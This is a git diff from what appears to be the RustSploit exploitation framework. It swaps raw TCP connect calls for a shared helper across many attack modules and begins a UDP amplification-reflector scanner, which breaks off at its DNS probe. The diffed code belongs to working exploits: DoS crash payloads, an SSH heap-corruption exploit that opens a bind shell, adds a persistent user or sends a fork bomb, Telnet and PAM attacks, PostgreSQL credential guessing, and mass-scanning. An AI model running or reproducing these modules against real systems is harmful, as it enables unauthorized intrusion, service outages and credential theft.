).await.context("Connection timed out")?.context("Failed to connect. Target might already be down.")?;
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
|
||||
.await.context("Failed to connect. Target might already be down.")?;
|
||||
|
||||
// Vulnerability: Message 0x1b5b "new protocol" expects data with CRLF.
|
||||
// When strstr(data, "\r\n") returns NULL, it's not checked, causing crash.
|
||||
@@ -122,11 +120,11 @@ async fn exploit(host: &str, port: u16) -> Result<()> {
|
||||
crate::mprintln!("[*] Waiting 2 seconds then checking if target is down...");
|
||||
tokio::time::sleep(tokio::time::Duration::from_secs(2)).await;
|
||||
|
||||
match tokio::time::timeout(std::time::Duration::from_secs(5), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(_)) => {
|
||||
match crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(5)).await {
|
||||
Ok(_) => {
|
||||
crate::mprintln!("{}", "[-] Target still responding - may need multiple attempts.".yellow());
|
||||
}
|
||||
_ => {
|
||||
Err(_) => {
|
||||
crate::mprintln!("{}", "[+] Target DOWN! Connection refused/timeout.".green().bold());
|
||||
crate::mprintln!("{}", "[+] MsgReceiver service has crashed.".green());
|
||||
}
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_required, cfg_prompt_port, cfg_prompt_yes_no, normalize_target};
|
||||
|
||||
const DEFAULT_PORT: u16 = 20001;
|
||||
@@ -71,9 +70,8 @@ async fn exploit(host: &str, port: u16) -> Result<()> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
crate::mprintln!("[*] Connecting to {}...", addr);
|
||||
|
||||
let mut stream = tokio::time::timeout(
|
||||
std::time::Duration::from_secs(10), TcpStream::connect(&addr)
|
||||
).await.context("Connection timed out")?.context("Failed to connect. Target might already be down.")?;
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(10))
|
||||
.await.context("Failed to connect. Target might already be down.")?;
|
||||
|
||||
// Vulnerability: Message 0x1b5b "old protocol" uses x_astring for fields.
|
||||
// CIPCMsgBuffer_GetStringPtr() advances CurPos by x_astring.size without bounds check.
|
||||
@@ -144,11 +142,11 @@ async fn exploit(host: &str, port: u16) -> Result<()> {
|
||||
crate::mprintln!("[*] Waiting 2 seconds then checking if target is down...");
|
||||
tokio::time::sleep(tokio::time::Duration::from_secs(2)).await;
|
||||
|
||||
match tokio::time::timeout(std::time::Duration::from_secs(5), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(_)) => {
|
||||
match crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(5)).await {
|
||||
Ok(_) => {
|
||||
crate::mprintln!("{}", "[-] Target still responding - may need multiple attempts.".yellow());
|
||||
}
|
||||
_ => {
|
||||
Err(_) => {
|
||||
crate::mprintln!("{}", "[+] Target DOWN! Connection refused/timeout.".green().bold());
|
||||
crate::mprintln!("{}", "[+] MsgReceiver service has crashed.".green());
|
||||
}
|
||||
|
||||
@@ -1,6 +1,5 @@
|
||||
use anyhow::Result;
|
||||
use colored::*;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use std::time::Duration;
|
||||
use crate::utils::{cfg_prompt_required, normalize_target, cfg_prompt_port};
|
||||
@@ -47,13 +46,10 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!("{} Checking if circled daemon is accessible...", "[*]".blue());
|
||||
|
||||
// Try to connect to the circled daemon
|
||||
let connect_result = tokio::time::timeout(
|
||||
Duration::from_secs(10),
|
||||
TcpStream::connect(&target_addr)
|
||||
).await;
|
||||
|
||||
let connect_result = crate::utils::network::tcp_connect(&target_addr, Duration::from_secs(10)).await;
|
||||
|
||||
match connect_result {
|
||||
Ok(Ok(mut stream)) => {
|
||||
Ok(mut stream) => {
|
||||
crate::mprintln!("{} Connected to circled daemon!", "[+]".green());
|
||||
|
||||
// The vulnerability is triggered when circled fetches circleinfo.txt
|
||||
@@ -86,12 +82,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{} Reference: github.com/synacktiv/Netgear_Pwn2Own2021", "[*]".dimmed());
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
Err(e) => {
|
||||
crate::mprintln!("{} Connection failed: {}", "[-]".red(), e);
|
||||
crate::mprintln!("{} Circled daemon may not be running or port is filtered.", "[*]".yellow());
|
||||
},
|
||||
Err(_) => {
|
||||
crate::mprintln!("{} Connection timed out.", "[-]".red());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -246,7 +246,7 @@ async fn exploit_dos_https(ip: &str) -> Result<()> {
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
use tokio::net::TcpStream;
|
||||
|
||||
use tokio_rustls::rustls::pki_types::ServerName;
|
||||
use tokio::io::AsyncWriteExt;
|
||||
|
||||
@@ -255,9 +255,8 @@ async fn exploit_dos_https(ip: &str) -> Result<()> {
|
||||
let connector = crate::native::async_tls::make_dangerous_tls_connector();
|
||||
|
||||
// 2. Connect via TCP
|
||||
let stream = tokio::time::timeout(
|
||||
std::time::Duration::from_secs(10), TcpStream::connect((ip, 443))
|
||||
).await.context("Connection timed out")?.context("Failed to connect to target port 443")?;
|
||||
let stream = crate::utils::network::tcp_connect(&format!("{}:443", ip), std::time::Duration::from_secs(10))
|
||||
.await.context("Failed to connect to target port 443")?;
|
||||
|
||||
// 3. Upgrade to TLS
|
||||
// IP Address to ServerName conversion
|
||||
|
||||
@@ -31,7 +31,6 @@ use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncBufReadExt, BufReader as TokioBufReader};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::timeout;
|
||||
|
||||
@@ -464,8 +463,8 @@ async fn check_port_open(host: &str, port: u16) -> bool {
|
||||
}
|
||||
};
|
||||
|
||||
match timeout(Duration::from_secs(CONNECT_TIMEOUT_SECS), TcpStream::connect(socket_addr)).await {
|
||||
Ok(Ok(_)) => true,
|
||||
match crate::utils::network::tcp_connect_addr(socket_addr, Duration::from_secs(CONNECT_TIMEOUT_SECS)).await {
|
||||
Ok(_) => true,
|
||||
_ => false,
|
||||
}
|
||||
}
|
||||
@@ -474,11 +473,8 @@ async fn check_port_open(host: &str, port: u16) -> bool {
|
||||
async fn identify_vigi_device(host: &str) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, DEFAULT_TELNET_PORT);
|
||||
|
||||
let stream = match timeout(
|
||||
Duration::from_secs(CONNECT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr)
|
||||
).await {
|
||||
Ok(Ok(s)) => s,
|
||||
let stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(CONNECT_TIMEOUT_SECS)).await {
|
||||
Ok(s) => s,
|
||||
_ => return Ok(false),
|
||||
};
|
||||
|
||||
|
||||
@@ -15,8 +15,7 @@ use anyhow::Result;
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use colored::*;
|
||||
use reqwest::{header::HeaderMap, Client};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
use tokio::time::Duration;
|
||||
|
||||
use crate::utils::{normalize_target, cfg_prompt_port, cfg_prompt_required};
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
@@ -96,8 +95,8 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
|
||||
// Check if the host is still up — timeout after 1 second
|
||||
crate::mprintln!("{}", "[*] Checking if target is still reachable...".cyan());
|
||||
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
|
||||
Ok(Ok(_)) => {
|
||||
match crate::utils::network::tcp_connect(&format!("{}:{}", ip.trim_matches(&['[', ']'][..]), port), Duration::from_secs(1)).await {
|
||||
Ok(_) => {
|
||||
crate::mprintln!("{}", format!("[!] Target still responds on port {}. DoS may have failed.", port).yellow());
|
||||
}
|
||||
_ => {
|
||||
|
||||
@@ -217,23 +217,13 @@ async fn read_ssh_packet(stream: &mut TcpStream) -> Result<Vec<u8>> {
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
let addr = format!("{}:{}", target, DEFAULT_PORT);
|
||||
|
||||
let stream = match tokio::time::timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
return CheckResult::Unknown(format!("Failed to connect to {}: {}", addr, e))
|
||||
}
|
||||
Err(_) => {
|
||||
return CheckResult::Unknown(format!("Connection to {} timed out", addr))
|
||||
}
|
||||
};
|
||||
|
||||
let mut stream = stream;
|
||||
|
||||
match read_server_banner(&mut stream).await {
|
||||
Ok(banner) => {
|
||||
let banner_lower = banner.to_lowercase();
|
||||
@@ -293,13 +283,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Phase 1: Connect and exchange version strings
|
||||
crate::mprintln!("{}", "[*] Phase 1: Connecting to SSH server...".cyan());
|
||||
let mut stream = tokio::time::timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
.context("Connection timed out")?
|
||||
.context(format!("Failed to connect to {}", addr))?;
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.await
|
||||
.context(format!("Failed to connect to {}", addr))?;
|
||||
|
||||
crate::mprintln!("{}", "[+] TCP connection established.".green());
|
||||
|
||||
|
||||
@@ -177,23 +177,13 @@ fn build_userauth_success() -> Vec<u8> {
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
let addr = format!("{}:{}", target, DEFAULT_PORT);
|
||||
|
||||
let stream = match tokio::time::timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
return CheckResult::Unknown(format!("Failed to connect to {}: {}", addr, e));
|
||||
}
|
||||
Err(_) => {
|
||||
return CheckResult::Unknown(format!("Connection to {} timed out", addr));
|
||||
}
|
||||
};
|
||||
|
||||
let mut stream = stream;
|
||||
|
||||
match read_server_banner(&mut stream).await {
|
||||
Ok(banner) => {
|
||||
let banner_lower = banner.to_lowercase();
|
||||
@@ -248,13 +238,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Phase 1: Connect and exchange version strings
|
||||
crate::mprintln!("{}", "[*] Phase 1: Connecting to SSH server...".cyan());
|
||||
let mut stream = tokio::time::timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
.context("Connection timed out")?
|
||||
.context(format!("Failed to connect to {}", addr))?;
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.await
|
||||
.context(format!("Failed to connect to {}", addr))?;
|
||||
|
||||
crate::mprintln!("{}", "[+] TCP connection established.".green());
|
||||
|
||||
|
||||
@@ -143,23 +143,13 @@ fn is_version_vulnerable(major: u32, minor: u32, patch: u32) -> (bool, &'static
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
let addr = format!("{}:{}", target, DEFAULT_PORT);
|
||||
|
||||
let stream = match tokio::time::timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(s)) => s,
|
||||
Ok(Err(e)) => {
|
||||
let mut stream = match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
return CheckResult::Unknown(format!("Failed to connect to {}: {}", addr, e));
|
||||
}
|
||||
Err(_) => {
|
||||
return CheckResult::Unknown(format!("Connection to {} timed out", addr));
|
||||
}
|
||||
};
|
||||
|
||||
let mut stream = stream;
|
||||
|
||||
match read_server_banner(&mut stream).await {
|
||||
Ok(banner) => {
|
||||
let banner_lower = banner.to_lowercase();
|
||||
@@ -225,13 +215,9 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
// Phase 1: Connect and grab banner
|
||||
crate::mprintln!("{}", "[*] Connecting to SSH server...".cyan());
|
||||
let mut stream = tokio::time::timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
.context("Connection timed out")?
|
||||
.context(format!("Failed to connect to {}", addr))?;
|
||||
let mut stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.await
|
||||
.context(format!("Failed to connect to {}", addr))?;
|
||||
|
||||
crate::mprintln!("{}", "[+] TCP connection established.".green());
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{sleep, Duration, Instant};
|
||||
use tokio::sync::Semaphore;
|
||||
use futures_util::stream::{FuturesUnordered, StreamExt};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use crate::utils::{cfg_prompt_port, cfg_prompt_default};
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
@@ -125,9 +125,8 @@ async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
|
||||
|
||||
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
|
||||
let addr = normalize_target(ip, port)?;
|
||||
let stream = tokio::time::timeout(
|
||||
Duration::from_secs(10), TcpStream::connect(&addr)
|
||||
).await.with_context(|| format!("Connection to {} timed out", addr))?.with_context(|| format!("Failed to connect to {}", addr))?;
|
||||
let stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(10))
|
||||
.await.with_context(|| format!("Failed to connect to {}", addr))?;
|
||||
Ok(stream)
|
||||
}
|
||||
|
||||
@@ -346,28 +345,25 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8
|
||||
crate::mprintln!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
|
||||
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&bind_shell_target_addr)).await {
|
||||
Ok(Ok(conn_stream)) => {
|
||||
match crate::utils::network::tcp_connect(&bind_shell_target_addr, Duration::from_secs(5)).await {
|
||||
Ok(conn_stream) => {
|
||||
if let Err(e) = handle_bind_shell_session(conn_stream).await {
|
||||
crate::mprintln!("[!] Bind shell session error: {}", e);
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
Err(e) => {
|
||||
crate::mprintln!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
|
||||
crate::mprintln!("[!] The race condition crashed sshd but the heap layout may not have produced a shell.");
|
||||
crate::mprintln!("[!] Try increasing attempts or use a different glibc base address.");
|
||||
}
|
||||
Err(_) => {
|
||||
crate::mprintln!("[!] Connection to bind shell timed out at {}", bind_shell_target_addr);
|
||||
}
|
||||
}
|
||||
}
|
||||
2 => {
|
||||
// Attempt SSH login with the persistent user created by the shellcode
|
||||
crate::mprintln!("[*] Attempting SSH login as '{}' to verify persistent user...", PERSISTENT_USER);
|
||||
let ssh_addr = format!("{}:{}", ip_clone, port_num);
|
||||
match tokio::time::timeout(Duration::from_secs(10), TcpStream::connect(&ssh_addr)).await {
|
||||
Ok(Ok(_)) => {
|
||||
match crate::utils::network::tcp_connect(&ssh_addr, Duration::from_secs(10)).await {
|
||||
Ok(_) => {
|
||||
crate::mprintln!("[+] SSH port is open. Try: ssh {}@{} (password: {})", PERSISTENT_USER, ip_clone, PERSISTENT_PASS);
|
||||
}
|
||||
_ => {
|
||||
@@ -379,16 +375,16 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16, mode_choice: u8
|
||||
crate::mprintln!("[!] Fork bomb payload sent via heap corruption. Target may be unresponsive.");
|
||||
// Verify target is down
|
||||
let ssh_addr = format!("{}:{}", ip_clone, port_num);
|
||||
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&ssh_addr)).await {
|
||||
Ok(Ok(_)) => crate::mprintln!("[*] Target still responding — fork bomb may not have triggered."),
|
||||
_ => crate::mprintln!("[+] Target unresponsive — DoS successful."),
|
||||
match crate::utils::network::tcp_connect(&ssh_addr, Duration::from_secs(5)).await {
|
||||
Ok(_) => crate::mprintln!("[*] Target still responding — fork bomb may not have triggered."),
|
||||
Err(_) => crate::mprintln!("[+] Target unresponsive — DoS successful."),
|
||||
}
|
||||
}
|
||||
4 => {
|
||||
crate::mprintln!("[*] Interactive PTY shell — attempting to connect to spawned /bin/sh...");
|
||||
let bind_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
|
||||
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&bind_addr)).await {
|
||||
Ok(Ok(conn_stream)) => {
|
||||
match crate::utils::network::tcp_connect(&bind_addr, Duration::from_secs(5)).await {
|
||||
Ok(conn_stream) => {
|
||||
crate::mprintln!("[+] Connected! Entering interactive session...");
|
||||
if let Err(e) = handle_bind_shell_session(conn_stream).await {
|
||||
crate::mprintln!("[!] Session error: {}", e);
|
||||
|
||||
@@ -118,7 +118,7 @@ pub async fn attack_password_length_dos(
|
||||
let password: String = std::iter::repeat('A').take(len).collect();
|
||||
|
||||
crate::mprint!(" Testing {} bytes... ", len);
|
||||
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
|
||||
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
|
||||
|
||||
match time_auth_attempt(host, port, username, &password, 30) {
|
||||
Some((time, _success, msg)) => {
|
||||
@@ -282,7 +282,7 @@ pub async fn attack_auth_timing(
|
||||
|
||||
for user in usernames {
|
||||
crate::mprint!("\r[*] Testing: {} ", user);
|
||||
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
|
||||
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
|
||||
|
||||
let mut times = Vec::new();
|
||||
for i in 0..samples {
|
||||
@@ -367,7 +367,7 @@ pub async fn attack_bcrypt_truncation(
|
||||
|
||||
for (name, password) in &passwords {
|
||||
crate::mprint!("[*] Testing {} password... ", name);
|
||||
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
|
||||
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
|
||||
|
||||
match time_auth_attempt(host, port, username, password, 15) {
|
||||
Some((time, success, msg)) => {
|
||||
|
||||
@@ -141,7 +141,7 @@ pub async fn attack_pam_memory_dos(
|
||||
for i in 0..iterations {
|
||||
if i % 10 == 0 {
|
||||
crate::mprint!("\r[*] Progress: {}/{} (success: {}, fail: {}) ", i, iterations, successful, failed);
|
||||
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
|
||||
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
|
||||
}
|
||||
|
||||
// Try authentication with invalid credentials
|
||||
@@ -210,7 +210,7 @@ pub async fn attack_pam_username_overflow(
|
||||
let username: String = std::iter::repeat('A').take(len).collect();
|
||||
|
||||
crate::mprint!(" Testing {} bytes... ", len);
|
||||
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
|
||||
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
|
||||
|
||||
let start = Instant::now();
|
||||
let result = time_auth_attempt(host, port, &username, "test", 15);
|
||||
@@ -322,7 +322,7 @@ pub async fn attack_pam_timing(
|
||||
|
||||
for user in usernames {
|
||||
crate::mprint!("\r[*] Testing: {} ", user);
|
||||
if let Err(e) = std::io::stdout().flush() { eprintln!("[!] Stdout flush error: {}", e); }
|
||||
if let Err(e) = std::io::stdout().flush() { crate::meprintln!("[!] Stdout flush error: {}", e); }
|
||||
|
||||
let mut times = Vec::new();
|
||||
for _ in 0..samples {
|
||||
|
||||
@@ -5,7 +5,6 @@ use colored::*;
|
||||
use std::sync::Arc;
|
||||
use std::sync::atomic::{AtomicUsize, Ordering};
|
||||
use std::time::Duration;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt, BufReader as TokioBufReader};
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::sync::mpsc;
|
||||
@@ -297,7 +296,7 @@ impl TelnetExploit {
|
||||
|
||||
pub async fn run_exploit(&mut self, timeout_secs: u64, interactive: bool) -> Result<String> {
|
||||
let addr = format!("{}:{}", self.host, self.port);
|
||||
let stream = tokio::time::timeout(Duration::from_secs(timeout_secs), TcpStream::connect(&addr)).await??;
|
||||
let stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(timeout_secs)).await?;
|
||||
|
||||
let (reader, mut writer) = stream.into_split();
|
||||
let mut reader = TokioBufReader::new(reader);
|
||||
@@ -361,8 +360,8 @@ impl TelnetExploit {
|
||||
|
||||
async fn quick_check(ip: &str, port: u16, _user: &str) -> bool {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match tokio::time::timeout(Duration::from_secs(5), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut stream)) => {
|
||||
match crate::utils::network::tcp_connect(&addr, Duration::from_secs(5)).await {
|
||||
Ok(mut stream) => {
|
||||
let mut buf = [0u8; 1024];
|
||||
if let Err(e) = stream.write_all(&[IAC, WILL, OPT_NEW_ENVIRON]).await { crate::meprintln!("[!] Write error: {}", e); }
|
||||
match tokio::time::timeout(Duration::from_secs(3), stream.read(&mut buf)).await {
|
||||
|
||||
@@ -19,7 +19,6 @@ use anyhow::{Context, Result, bail};
|
||||
use colored::*;
|
||||
use std::time::Duration;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::TcpStream;
|
||||
use crate::module_info::{ModuleInfo, ModuleRank, CheckResult};
|
||||
use crate::utils::{cfg_prompt_default, cfg_prompt_port, normalize_target};
|
||||
use crate::cred_store::{store_credential, CredType};
|
||||
@@ -94,13 +93,9 @@ fn build_password_message(password: &str) -> Vec<u8> {
|
||||
/// Returns Ok(true) if auth succeeds, Ok(false) if auth fails, Err on connection issues.
|
||||
async fn try_pg_auth(host: &str, port: u16, user: &str, password: &str, database: &str) -> Result<bool> {
|
||||
let addr = format!("{}:{}", host, port);
|
||||
let stream = tokio::time::timeout(
|
||||
Duration::from_secs(DEFAULT_TIMEOUT_SECS),
|
||||
TcpStream::connect(&addr),
|
||||
)
|
||||
.await
|
||||
.context("Connection timed out")?
|
||||
.context(format!("Failed to connect to {}", addr))?;
|
||||
let stream = crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.await
|
||||
.context(format!("Failed to connect to {}", addr))?;
|
||||
|
||||
let (mut reader, mut writer) = tokio::io::split(stream);
|
||||
|
||||
@@ -202,15 +197,14 @@ async fn try_pg_auth(host: &str, port: u16, user: &str, password: &str, database
|
||||
/// Non-destructive vulnerability check.
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
let addr = format!("{}:{}", target, DEFAULT_PORT);
|
||||
match tokio::time::timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(_)) => CheckResult::Vulnerable(
|
||||
match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
|
||||
Ok(_) => CheckResult::Vulnerable(
|
||||
"PostgreSQL port 5432 is open and accepting connections. Default credentials may be in use."
|
||||
.to_string(),
|
||||
),
|
||||
Ok(Err(_)) => {
|
||||
Err(_) => {
|
||||
CheckResult::NotVulnerable("PostgreSQL port 5432 is closed or refused".to_string())
|
||||
}
|
||||
Err(_) => CheckResult::Unknown("Connection timed out - port may be filtered".to_string()),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -251,18 +245,14 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Phase 1: Port check
|
||||
crate::mprintln!("{}", "[*] Phase 1: Checking PostgreSQL port accessibility...".cyan());
|
||||
let addr = format!("{}:{}", normalized, port);
|
||||
match tokio::time::timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), TcpStream::connect(&addr)).await {
|
||||
Ok(Ok(_)) => {
|
||||
match crate::utils::network::tcp_connect(&addr, Duration::from_secs(DEFAULT_TIMEOUT_SECS)).await {
|
||||
Ok(_) => {
|
||||
crate::mprintln!("{}", format!("[+] Port {} is open", port).green());
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
Err(e) => {
|
||||
crate::mprintln!("{}", format!("[-] Port {} is closed: {}", port, e).red());
|
||||
bail!("PostgreSQL port is not accessible");
|
||||
}
|
||||
Err(_) => {
|
||||
crate::mprintln!("{}", format!("[-] Connection to port {} timed out", port).red());
|
||||
bail!("Connection timed out");
|
||||
}
|
||||
}
|
||||
|
||||
// Phase 2: Authentication attempt
|
||||
|
||||
@@ -364,7 +364,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("results");
|
||||
if let Err(e) = std::fs::create_dir_all(&results_dir) { eprintln!("[!] Directory creation error: {}", e); }
|
||||
if let Err(e) = std::fs::create_dir_all(&results_dir) { crate::meprintln!("[!] Directory creation error: {}", e); }
|
||||
let filename = results_dir.join(format!("cve_2025_40551_{}.txt", host));
|
||||
let report = format!(
|
||||
"CVE-2025-40551 SolarWinds WHD Deserialization RCE\n\
|
||||
|
||||
@@ -23,7 +23,7 @@
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use colored::*;
|
||||
use futures_util::{SinkExt, StreamExt};
|
||||
use futures::{SinkExt, StreamExt};
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::collections::HashMap;
|
||||
|
||||
@@ -24,11 +24,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}, move |ip, port| {
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
match tokio::time::timeout(
|
||||
std::time::Duration::from_secs(3),
|
||||
tokio::net::TcpStream::connect(&addr),
|
||||
).await {
|
||||
Ok(Ok(_)) => {
|
||||
match crate::utils::network::tcp_connect(&addr, std::time::Duration::from_secs(3)).await {
|
||||
Ok(_) => {
|
||||
let ts = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
Some(format!("[{}] {}:{} open\n", ts, ip, port))
|
||||
}
|
||||
|
||||
@@ -0,0 +1,428 @@
|
||||
//! Amplification Scanner Module
|
||||
//!
|
||||
//! Scans for servers vulnerable to UDP amplification attacks.
|
||||
//! Probes DNS (open resolvers), NTP (monlist), SSDP (M-SEARCH),
|
||||
//! and Memcached (stats) to identify reflectors that could be
|
||||
//! abused for volumetric DDoS.
|
||||
//!
|
||||
//! FOR AUTHORIZED SECURITY TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use std::net::{IpAddr, SocketAddr};
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_yes_no,
|
||||
};
|
||||
use crate::modules::creds::utils::{is_mass_scan_target, run_mass_scan, MassScanConfig};
|
||||
|
||||
// ============================================================================
|
||||
// MODULE INFO
|
||||
// ============================================================================
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "Amplification Scanner".to_string(),
|
||||
description: "Scans for UDP amplification vulnerabilities (DNS open resolver, NTP monlist, SSDP M-SEARCH, Memcached stats). Identifies reflectors that could be abused for volumetric DDoS attacks.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://www.us-cert.gov/ncas/alerts/TA14-017A".to_string(),
|
||||
"https://www.cloudflare.com/learning/ddos/udp-amplification-attack/".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Excellent,
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROTOCOL PROBES
|
||||
// ============================================================================
|
||||
|
||||
/// DNS ANY query for "google.com" — open resolvers respond with large records.
|
||||
/// Amplification factor: ~28-54x (ANY queries on popular domains).
|
||||
fn dns_probe() -> Vec<u8> {
|
||||
let mut pkt = Vec::with_capacity(33);
|
||||
// Transaction ID
|
||||
